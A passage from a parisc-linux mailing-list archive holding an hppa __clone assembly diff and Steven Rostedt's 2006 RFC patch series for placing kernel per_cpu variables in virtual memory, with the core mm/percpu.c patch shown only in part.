pointer.		(arg1)=0A+	r24 - parent tid pointer.		(stack - 52)=0A+	r23 - st=
ruct user_desc newtls pointer.	(stack - 56)=0A+	r22 - child tid pointer.	=
	(stack - 60)=0A+	r20 - clone syscall number		(constant)=0A+ */=0A =0A   =
      .text=0A ENTRY(__clone)=0A-	/* FIXME: I have no idea how profiling =
works on hppa. */=0A+    /* this ENTRY() macro do: stw rp, -20(sp)=0A+   =
    and "FIXME: I have no idea how profiling works on hppa." */=0A =0A 	/=
* Sanity check arguments.  */=0A-	comib,=3D  0,%arg0,.Lerror        /* no=
 NULL function pointers */=0A-	ldi     -EINVAL,%ret0=0A-	comib,=3D  0,%ar=
g1,.Lerror        /* no NULL stack pointers */=0A-	nop=0A-=0A+	comib,=3D	=
	0, %arg0, .Larg_error		/* no NULL function pointers */=0A+	nop						/* d=
elay slot */=0A+	comib,<>,n	0, %arg1, .Lno_arg_error	/* no NULL stack poi=
nters */=0A+	nop						/* delay slot */=0A+=0A+.Larg_error:=0A+	/* Create =
a stack frame */=0A+	ldo             64(%sp), %sp=0A+	/* Set errno (in th=
e delay slot) */=0A+	bl		__syscall_error, %rp=0A+	ldi		EINVAL, %arg0=0A+=0A=
+	/* Return after setting errno */=0A+	/* Restore rp from ENTRY() */=0A+	=
ldw		-84(%sp), %rp=0A+	bv		%r0(%rp)=0A+	ldo             -64(%sp), %sp=0A+=
	=0A+.Lno_arg_error:=0A 	/* Save the fn ptr and arg on the new stack.  */=
=0A-	stwm    %arg0,64(%arg1)=0A-	stw	%arg3,-60(%arg1)=0A+	stwm		%arg0, 64=
(%arg1)=0A+	stw		%arg3, -60(%arg1)=0A+	/* Clone arguments are (int flags,=
 void * child_stack) */=0A+	copy		%arg2, %arg0		/* flags are first */=0A+=
	/* User stack pointer is in the correct register already */=0A+=0A+	/* L=
oad args from stack... */=0A+	ldw		-52(%sp), %arg2		/* Load parent_tidptr=
 */=0A+	ldw		-56(%sp), %arg3		/* Load newtls */=0A+	ldw		-60(%sp), %r22		=
/* Load child_tidptr */=0A+=0A+	/* Create frame for function */=0A+	copy	=
	%sp, %r21=0A+	stwm		%r3, 64(%sp)=0A+	stw		%r21, -4(%sp)=0A =0A-	/* Save =
the PIC register. */=0A-#ifdef PIC=0A-	stw	%r19,-32(%sr0, %sp)	/* parent =
*/=0A-#endif=0A+	SAVE_PIC (TREG)=0A =0A 	/* Do the system call */=0A-	cop=
y	%arg2,%arg0=0A-	ble     0x100(%sr2,%r0)=0A-	ldi	__NR_clone,%r20=0A-=0A-=
	ldi	-4096,%r1=0A-	comclr,>>=3D %r1,%ret0,%r0	/* Note: unsigned compare. =
*/=0A-	b,n	.Lerror=0A+	ble		0x100(%sr2, %r0)=0A+	ldi		SYS_ify (clone), %r=
20=0A+=0A+	ldi		NO_ERROR, %r1=0A+	comclr,>>=3D	%r1, %ret0, %r0		/* Note: =
unsigned compare. */=0A+	ldi		1, %r20=0A+	comib,=3D,n	1, %r20, .Lerror=0A=
+	nop			/* to avoid next br insn in the delay slot? */=0A =0A-	comib,=3D,=
n 0,%ret0,thread_start=0A+	comib,=3D,n	0, %ret0, thread_start=0A+	nop			/=
* to avoid next br insn in the delay slot? */=0A =0A 	/* Successful retur=
n from the parent=0A 	   No need to restore the PIC register, =0A 	   sin=
ce we return immediately. */=0A-=0A-	bv	%r0(%rp)=0A-	nop=0A+	bv		%r0(%rp)=
=0A+	ldwm		-64(%sp), %r3=0A =0A 	/* Something bad happened -- no child cr=
eated */=0A .Lerror:=0A =0A-	/* Restore the PIC register on error */=0A-#=
ifdef PIC=0A-	ldw	-32(%sr0, %sp), %r19	/* parent */=0A-#endif=0A+	LOAD_PI=
C (TREG)=0A =0A-	b	__syscall_error=0A-	sub     %r0,%ret0,%arg0=0A+	/* Use=
 TREG for temp storage */=0A+	copy		%ret0, TREG=0A+	/* Set errno (in the =
delay slot) */=0A+	bl		__syscall_error, %rp=0A+	sub		%r0, %ret0, %arg0=0A=
+	copy		TREG, %ret0=0A+	/* Return after setting errno */=0A+	/* Restore r=
p from ENTRY() */=0A+	ldw		-84(%sp), %rp=0A+	bv		%r0(%rp)=0A+	ldwm		-64(%=
sp), %r3=0A =0A thread_start:=0A =0A 	/* Load up the arguments.  */=0A-	l=
dw	-60(%sr0, %sp),%arg0=0A-	ldw     -64(%sr0, %sp),%r22=0A+	ldw		-60(%sr0=
, %sp), %arg0=0A+	ldw		-64(%sr0, %sp), %r22=0A =0A 	/* $$dyncall fixes ch=
ilds PIC register */=0A =0A 	/* Call the user's function */=0A-	bl	$$dync=
all,%r31=0A-	copy	%r31,%rp=0A+	bl		$$dyncall, %r31=0A+	copy		%r31, %rp=0A=
 =0A-	bl	_exit,%rp=0A-	copy	%ret0,%arg0=0A+	bl		_exit, %rp=0A+	copy		%ret=
0, %arg0=0A =0A 	/* Die horribly.  */=0A-	iitlbp	%r0,(%sr0,%r0)=0A+	iitlb=
p		%r0, (%sr0, %r0)=0A =0A PSEUDO_END(__clone)=0A =0A-weak_alias(__clone,=
 clone)=0A+weak_alias (__clone, clone)=0A
--_=__=_XaM3_.1145434181.2A.846775.42.7669.52.42.007.991917301
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1145434181.2A.846775.42.7669.52.42.007.991917301--



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC PATCH 00/09] robust VM per_cpu variables
Date: Wed, 17 May 2006 05:54:39 -0400 (EDT)
Lines: 130
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0605170547490.8408__13175.347451079$1416624592$gmane$org@gandalf.stny.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED;
  BOUNDARY="8323328-688922444-1147859679=:8408"
X-Trace: ger.gmane.org 1416624592 27601 80.91.229.3 (22 Nov 2014 02:49:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:52 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-mips@linux-mips.org,
 David Mosberger-Tang <davidm@hpl.hp.com>,
 linux-ia64@vger.kernel.org,
 Martin Mares <mj@atrey.karlin.mff.cuni.cz>,
 spyro@f2s.com,
 Joe Taylor <joe@tensilica.com>,
 linuxppc-dev@ozlabs.org,
 Paul Mackerras <paulus@samba.org>,
 benedict.gaster@superh.com,
 sam@ravnborg.org,
 bjornw@axis.com,
 kenneth.w.chen@intel.com,
 Ingo Molnar <mingo@elte.hu>,
 kiran@scalex86.org,
 clameter@sgi.com,
 Nick Piggin <nickpiggin@yahoo.com.au>,
 arnd@arndb.de,
 Rusty Russell <rusty@rustcorp.com.au>,
 starvik@axis.com,
 Linus Torvalds <torvalds@osdl.org>,
 Thomas Gleixner <tglx@linutronix.de>,
 rth@twiddle.net,
 Chris Zankel <chris@zankel.net>,
 tony.luck@intel.com,
 Andi Kleen <ak@suse.de>,
 ralf@linux-mips.org,
 Marc Gauthier <marc@tensilica.com>,
 lethal@linux-sh.org,
 schwidefsky@de.ibm.com,
 linux390@de.ibm.com,
 davem@davemloft.net,
 pari
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 May 2006 09:55:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 17 May 2006 11:55:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D120F7D6CF;
	Wed, 17 May 2006 03:55:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18509-08; Wed, 17 May 2006 03:55:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EA797D6D0;
	Wed, 17 May 2006 03:55:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD3977D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 May 2006 03:55:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18509-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 May 2006 03:55:10 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D22B77D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 May 2006 03:55:10 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 9ED8249549E; Wed, 17 May 2006 03:55:10 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ms-smtp-01.nyroc.rr.com (ms-smtp-01.nyroc.rr.com [24.24.2.55])
	by palinux.external.hp.com (Postfix) with ESMTP id 46778494012;
	Wed, 17 May 2006 03:55:10 -0600 (MDT)
Original-Received: from [192.168.23.10] (cpe-24-94-51-176.stny.res.rr.com
	[24.94.51.176])
	by ms-smtp-01.nyroc.rr.com (8.13.6/8.13.6) with ESMTP id k4H9sdWj009169;
	Wed, 17 May 2006 05:54:39 -0400 (EDT)
X-X-Sender: rostedt@gandalf.stny.rr.com
X-Virus-Scanned: Symantec AntiVirus Scan Engine
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PMVZcDxATXs9vqyRbmQ59mxKRzdyMkMB
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25288

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--8323328-688922444-1147859679=:8408
Content-Type: TEXT/PLAIN; charset=US-ASCII

(I tried to include all arch maintianers and memory maintainers, if I
missed someone, please let me know).


OK, as promised, I've got a working VM percpu solution.

A little history: please read the thread http://lkml.org/lkml/2006/4/14/137

Preivously I noticed that the per_cpu variables were implemented with
a little hack that Rusty Russell wrote up.  I call it a hack because,
for modules an arbitrary number was used to hold all per_cpu variables
that would be used in the kernel or in modules.  If this number was too
big, you waste the memory that is allocated for it, and if it were
too small, you wont be able to load all the modules that are required.

My first attempt to fix this introduced another dereference, to allow
for modules to allocate their own memory.  This was quickly shot down,
and for good reason, because dereferences kill performance, and don't
play nice with large SMP systems that depend on per_cpu being fast.

But that first attempt had one benefit.  It had good responses on how
to actually fix the problem.  Without the first try, I would not have
tried this approach.

So what is this solution?

I now place the per_cpu variables into VM, such that the pages are
only allocated when needed. All the architecture needs to do is
supply a VM address range, size for each CPU to use (note this
implementation expects all the VM CPU areas to be together), and
three functions to allow for allocating page tables at bootup.

The bootup page table allocations are needed because the percpu
variables are used before the system initializes the memory. So
bootmem is needed to load the page tables.

But that's it!  No more hacks for architectures with lots of CPUS and
NUMA to implement their own percpu algorithms.  They just supply the
functions to allocate the variables, and the memory will be loaded
appropriately.  So all architectures with VM can use the generic
solution.  Does the main-line kernel support any architectures that
doesn't have a VM?

Another benefit is that this approach removes the one redirection that
was already used in the generic solution.  Since the virtual memory
of the architecture for the per_cpu is static, the calculation to
find the variable is done with constants.  So this is another win
for this solution.

So the three things that this patch gives us are:

1) Robust per_cpu.  No more guessing the size of the per_cpu variable
   sections.  Default VM is 1 Meg per cpu.  If you use more than that
   I guess you're SOL.

2) Generic solution for all architectures.  No more fancy hacks to
   get the per cpu offest.

3) Removes the inderection of the current per_cpu generic solution.

The set of patches that I have implement this for the i386 architecture
and lays out the ground work for others.  The i386 implementation I did
was mainly a hack.  Nick Piggin suggested that before I do too much
work, I should post my stuff and ask for comments.  That's what I'm doing
now.

This patch set works for my laptop (P4 HT) and I haven't tested
it with any other configuration.  The implementation that I did for
i386 was only to get it to work and is not flexible.  It needs much
better implementation, and I ask for help with that.

I basically concentrated to the core stuff.  Another nice thing about
this patch set is that it needs both CONFIG_HAS_VM_PERCPU and
__ARCH_HAS_VM_PERCPU to take advantage of the VM percpu implementation.
Without these set, it defaults to the old usage.  This way we
can slowly implement each architecture, in an incremental fashion.

OK, let'er rip. Flame me, yell at me, curse me, but please give me
feedback.

Thanks for your time.

-- Steve

PS. The attached module was used to test this patch on my laptop.


--8323328-688922444-1147859679=:8408
Content-Type: TEXT/x-csrc; charset=US-ASCII; name="per_cpu.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0605170554390.8408@gandalf.stny.rr.com>
Content-Description: 
Content-Disposition: attachment; filename="per_cpu.c"

I2luY2x1ZGUgPGxpbnV4L21vZHVsZS5oPg0KI2luY2x1ZGUgPGxpbnV4L3Bl
cmNwdS5oPg0KDQojZGVmaW5lIEJJR19TSVpFIDQyMDANCkRFRklORV9QRVJf
Q1BVKGludCAsIGJpZ2FycmF5W0JJR19TSVpFXSk7DQoNCnN0YXRpYyBpbnQg
X19pbml0IHBlcmNwdV9pbml0KHZvaWQpDQp7DQoJaW50IGksIHg7DQoJZm9y
IChpPTA7IGNwdV9wb3NzaWJsZShpKSA7IGkrKykNCgkJZm9yICh4PTA7IHgg
PCBCSUdfU0laRTsgeCsrKSB7DQoJCQlpZiAoISh4JTEwMCkpDQoJCQkJcHJp
bnRrKCJwcm9jZXNzaW5nICVkOiVkXG4iLCBpLCB4KTsNCgkJCXBlcl9jcHUo
YmlnYXJyYXlbeF0sIGkpID0gMTAwMDAgKyB4Ow0KCQl9DQoJcmV0dXJuIDA7
DQp9DQoNCnN0YXRpYyB2b2lkIF9fZXhpdCBwZXJjcHVfZXhpdCh2b2lkKQ0K
ew0KCWludCBpOw0KDQoJZm9yIChpPTE7IGkgPCBCSUdfU0laRTsgaSA8PD0g
MSkNCgkJcHJpbnRrKCJiaWdhcnJheVslZF0gPSAlZFxuIiwgaSwgcGVyX2Nw
dShiaWdhcnJheVtpXSwwKSk7DQp9DQoNCm1vZHVsZV9pbml0KHBlcmNwdV9p
bml0KTsNCm1vZHVsZV9leGl0KHBlcmNwdV9leGl0KTsNCg0KTU9EVUxFX0FV
VEhPUigiTXkgbmFtZSBoZXJlIik7DQpNT0RVTEVfREVTQ1JJUFRJT04oInBl
cmNwdSEiKTsNCk1PRFVMRV9MSUNFTlNFKCJHUEwiKTsNCg0K

--8323328-688922444-1147859679=:8408
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--8323328-688922444-1147859679=:8408--



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC PATCH 01/09] robust VM per_cpu core
Date: Wed, 17 May 2006 05:56:00 -0400 (EDT)
Lines: 337
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0605170555190.8408__48119.3123305731$1416624593$gmane$org@gandalf.stny.rr.com>
References: <Pine.LNX.4.58.0605170547490.8408@gandalf.stny.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624593 27602 80.91.229.3 (22 Nov 2014 02:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:53 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-mips@linux-mips.org,
 David Mosberger-Tang <davidm@hpl.hp.com>,
 linux-ia64@vger.kernel.org,
 Martin Mares <mj@atrey.karlin.mff.cuni.cz>,
 spyro@f2s.com,
 Joe Taylor <joe@tensilica.com>,
 linuxppc-dev@ozlabs.org,
 Paul Mackerras <paulus@samba.org>,
 benedict.gaster@superh.com,
 sam@ravnborg.org,
 bjornw@axis.com,
 kenneth.w.chen@intel.com,
 Ingo Molnar <mingo@elte.hu>,
 kiran@scalex86.org,
 clameter@sgi.com,
 Nick Piggin <nickpiggin@yahoo.com.au>,
 arnd@arndb.de,
 Rusty Russell <rusty@rustcorp.com.au>,
 starvik@axis.com,
 Linus Torvalds <torvalds@osdl.org>,
 Thomas Gleixner <tglx@linutronix.de>,
 rth@twiddle.net,
 Chris Zankel <chris@zankel.net>,
 tony.luck@intel.com,
 Andi Kleen <ak@suse.de>,
 ralf@linux-mips.org,
 Marc Gauthier <marc@tensilica.com>,
 lethal@linux-sh.org,
 schwidefsky@de.ibm.com,
 linux390@de.ibm.com,
 davem@davemloft.net,
 pari
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 May 2006 09:56:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 17 May 2006 11:56:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 616FE7D6DC;
	Wed, 17 May 2006 03:56:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18788-04; Wed, 17 May 2006 03:56:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC1807D6E2;
	Wed, 17 May 2006 03:56:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E24A27D6D8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 May 2006 03:56:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18788-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 May 2006 03:56:21 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 055107D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 May 2006 03:56:21 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id CF61249549E; Wed, 17 May 2006 03:56:20 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ms-smtp-02.nyroc.rr.com (ms-smtp-02.nyroc.rr.com [24.24.2.56])
	by palinux.external.hp.com (Postfix) with ESMTP id 88177494012;
	Wed, 17 May 2006 03:56:20 -0600 (MDT)
Original-Received: from [192.168.23.10] (cpe-24-94-51-176.stny.res.rr.com
	[24.94.51.176])
	by ms-smtp-02.nyroc.rr.com (8.13.6/8.13.6) with ESMTP id k4H9u04X004237;
	Wed, 17 May 2006 05:56:01 -0400 (EDT)
X-X-Sender: rostedt@gandalf.stny.rr.com
In-Reply-To: <Pine.LNX.4.58.0605170547490.8408@gandalf.stny.rr.com>
X-Virus-Scanned: Symantec AntiVirus Scan Engine
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z8tcdeJfYmYSn+nCanc3sn5KWkZTQdSg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25289


This is the VM per_cpu core patch.  It includes the mm/per_cpu.c file
that is used to initialize and update per_cpu variables at startup
and module load.

To use this, the arch must define CONFIG_HAS_VM_PERCPU and
__ARCH_HAS_VM_PERCPU.

Also the following must be defined:

PERCPU_START - start of the percpu VM area
PERCPU_SIZE - size of the percpu VM area for each CPU so that the
		total size would be PERCPU_SIZE * NR_CPUS

As well as the following three functions:

pud_t *pud_boot_alloc(struct mm_struct *mm, pgd_t *pgd, unsigned long addr,
                     int cpu);
pmd_t *pmd_boot_alloc(struct mm_struct *mm, pud_t *pud, unsigned long addr,
                     int cpu);
pte_t *pte_boot_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long addr,
                     int cpu);

The above functions are to allocate page tables from bootmem because the
percpu is initialized right after setup_arch in init/main.c

Signed-off-by: Steven Rostedt <rostedt@goodmis.org>

Index: linux-2.6.16-test/mm/percpu.c
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ linux-2.6.16-test/mm/percpu.c	2006-05-17 04:39:52.000000000 -0400
@@ -0,0 +1,287 @@
+/*
+ *  linux/mm/percpu.c
+ *
+ *  Copyright (C) 2006 Steven Rostedt <rostedt@goodmis.org>
+ *
+ *  Some of this code was influenced by mm/vmalloc.c
+ *
+ *  The percpu variables need to always have the same offset from one CPU to
+ *  the next no matter if the percpu variable is defined in the kernel or
+ *  inside a module.  So to guarentee that the offset is the same for both,
+ *  they are mapped into virtual memory.
+ *
+ *  Since the percpu variables are used before memory is initialized, the
+ *  inital setup must be done with bootmem, and thus vmalloc code can not be
+ *  used.
+ *
+ *  Credits:
+ *  -------
+ *   This goes to lots of people that inspired me on LKML, and responded to
+ *   my first (horrible) implementation of robust per_cpu variables.
+ *
+ *   Also many thanks to Rusty Russell in his generic per_cpu implementation.
+ */
+
+#include <linux/mm.h>
+#include <linux/module.h>
+#include <linux/highmem.h>
+#include <linux/slab.h>
+#include <linux/spinlock.h>
+#include <linux/interrupt.h>
+
+#include <linux/bootmem.h>
+
+#include <asm/uaccess.h>
+#include <asm/tlbflush.h>
+
+static int __init percpu_boot_alloc(unsigned long addr, unsigned long size,
+				    int node);
+
+/*
+ * percpu_allocated keeps track of the actual allocated memory. It
+ * always points to the page after the last page in VM that was allocated.
+ *
+ * Yes this is also a per_cpu variable :)
+ * It gets updated after the copys are made.
+ */
+static DEFINE_PER_CPU(unsigned long, percpu_allocated);
+
+static char * __init per_cpu_allocate_init(unsigned long size, int cpu)
+{
+	unsigned long addr;
+
+	addr = PERCPU_START+(cpu*PERCPU_SIZE);
+	BUG_ON(percpu_boot_alloc(addr, size, cpu));
+
+	return (char*)addr;
+
+}
+
+/**
+ *	setup_per_cpu_areas  - initialization of VM per_cpu variables
+ *
+ *	Allocate pages in VM for the per_cpu variables
+ *	of the kernel.
+ */
+void __init setup_per_cpu_areas(void)
+{
+	unsigned long size, i;
+	char *ptr;
+
+	/* Copy section for each CPU (we discard the original) */
+	size = ALIGN(__per_cpu_end - __per_cpu_start, SMP_CACHE_BYTES);
+
+	for (i = 0; i < NR_CPUS; i++, ptr += size) {
+		ptr = per_cpu_allocate_init(size, i);
+		memcpy(ptr, __per_cpu_start, __per_cpu_end - __per_cpu_start);
+		wmb();
+		per_cpu(percpu_allocated, i) =
+			PAGE_ALIGN((unsigned long)ptr + size);
+	}
+}
+
+static __init int percpu_boot_pte_alloc(pmd_t *pmd, unsigned long addr,
+					  unsigned long end, int node)
+{
+	pte_t *pte;
+
+	pte = pte_boot_alloc(&init_mm, pmd, addr, node);
+	if (!pte)
+		return -ENOMEM;
+	do {
+		void *page;
+		WARN_ON(!pte_none(*pte));
+		page = alloc_bootmem_pages(PAGE_SIZE);
+		if (!page)
+			return -ENOMEM;
+		set_pte_at(&init_mm, addr, pte, mk_pte(virt_to_page(page),
+						       PAGE_KERNEL));
+	} while (pte++, addr += PAGE_SIZE, addr < end);
+	return 0;
+}
+
+static __init int percpu_boot_pmd_alloc(pud_t *pud, unsigned long addr,
+					unsigned long end, int node)
+{
+	pmd_t *pmd;
+	unsigned long next;
+
+	pmd = pmd_boot_alloc(&init_mm, pud, addr, node);
+	if (!pud)
+		return -ENOMEM;
+	do {
+		next = pmd_addr_end(addr, end);
+		if (percpu_boot_pte_alloc(pmd, addr, next, node))
+			return -ENOMEM;
+	} while (pmd++, addr = next, addr < end);
+	return 0;
+}
+
+static __init int percpu_boot_pud_alloc(pgd_t *pgd, unsigned long addr,
+					unsigned long end, int node)
+{
+	pud_t *pud;
+	unsigned long next;
+
+	pud = pud_boot_alloc(&init_mm, pgd, addr, node);
+	if (!pud)
+		return -ENOMEM;
+	do {
+		next = pud_addr_end(addr, end);
+		if (percpu_boot_pmd_alloc(pud, addr, next, node))
+			return -ENOMEM;
+	} while (pud++, addr = next, addr < end);
+	return 0;
+}
+
+static int __init percpu_boot_alloc(unsigned long addr, unsigned long size,
+				    int node)
+{
+	pgd_t *pgd;
+	unsigned long end = addr + size;
+	unsigned long next;
+	int err;
+
+	pgd = pgd_offset_k(addr);
+	do {
+		next = pgd_addr_end(addr, end);
+		err = percpu_boot_pud_alloc(pgd, addr, next, node);
+		if (err)
+			break;
+	} while (pgd++, addr = next, addr < end);
+	return err;
+}
+
+static __init int percpu_pte_alloc(pmd_t *pmd, unsigned long addr,
+				   unsigned long end, int node)
+{
+	pte_t *pte;
+
+	pte = pte_alloc_kernel(pmd, addr);
+	if (!pte)
+		return -ENOMEM;
+	do {
+		void *page;
+		if (unlikely(!pte_none(*pte))) {
+			printk("bad pte: %p->%p\n", pte, (void*)pte_val(*pte));
+			BUG();
+			return -EFAULT;
+		}
+		page = (void*)__get_free_page(GFP_KERNEL);
+		if (!page)
+			return -ENOMEM;
+		set_pte_at(&init_mm, addr, pte, mk_pte(virt_to_page(page),
+						       PAGE_KERNEL));
+	} while (pte++, addr += PAGE_SIZE, addr < end);
+	__flush_tlb();
+	return 0;
+}
+
+static __init int percpu_pmd_alloc(pud_t *pud, unsigned long addr,
+				   unsigned long end, int node)
+{
+	pmd_t *pmd;
+	unsigned long next;
+
+	pmd = pmd_alloc(&init_mm, pud, addr);
+	if (!pmd)
+		return -ENOMEM;
+	do {
+		next = pmd_addr_end(addr, end);
+		if (percpu_pte_alloc(pmd, addr, next, node))
+			return -ENOMEM;
+	} while (pmd++, addr = next, addr < end);
+	return 0;
+}
+
+static __init int percpu_pud_alloc(pgd_t *pgd, unsigned long addr,
+				   unsigned long end, int node)
+{
+	pud_t *pud;
+	unsigned long next;
+
+	pud = pud_alloc(&init_mm, pgd, addr);
+	if (!pud)
+		return -ENOMEM;
+	do {
+		next = pud_addr_end(addr, end);
+		if (percpu_pmd_alloc(pud, addr, next, node))
+			return -ENOMEM;
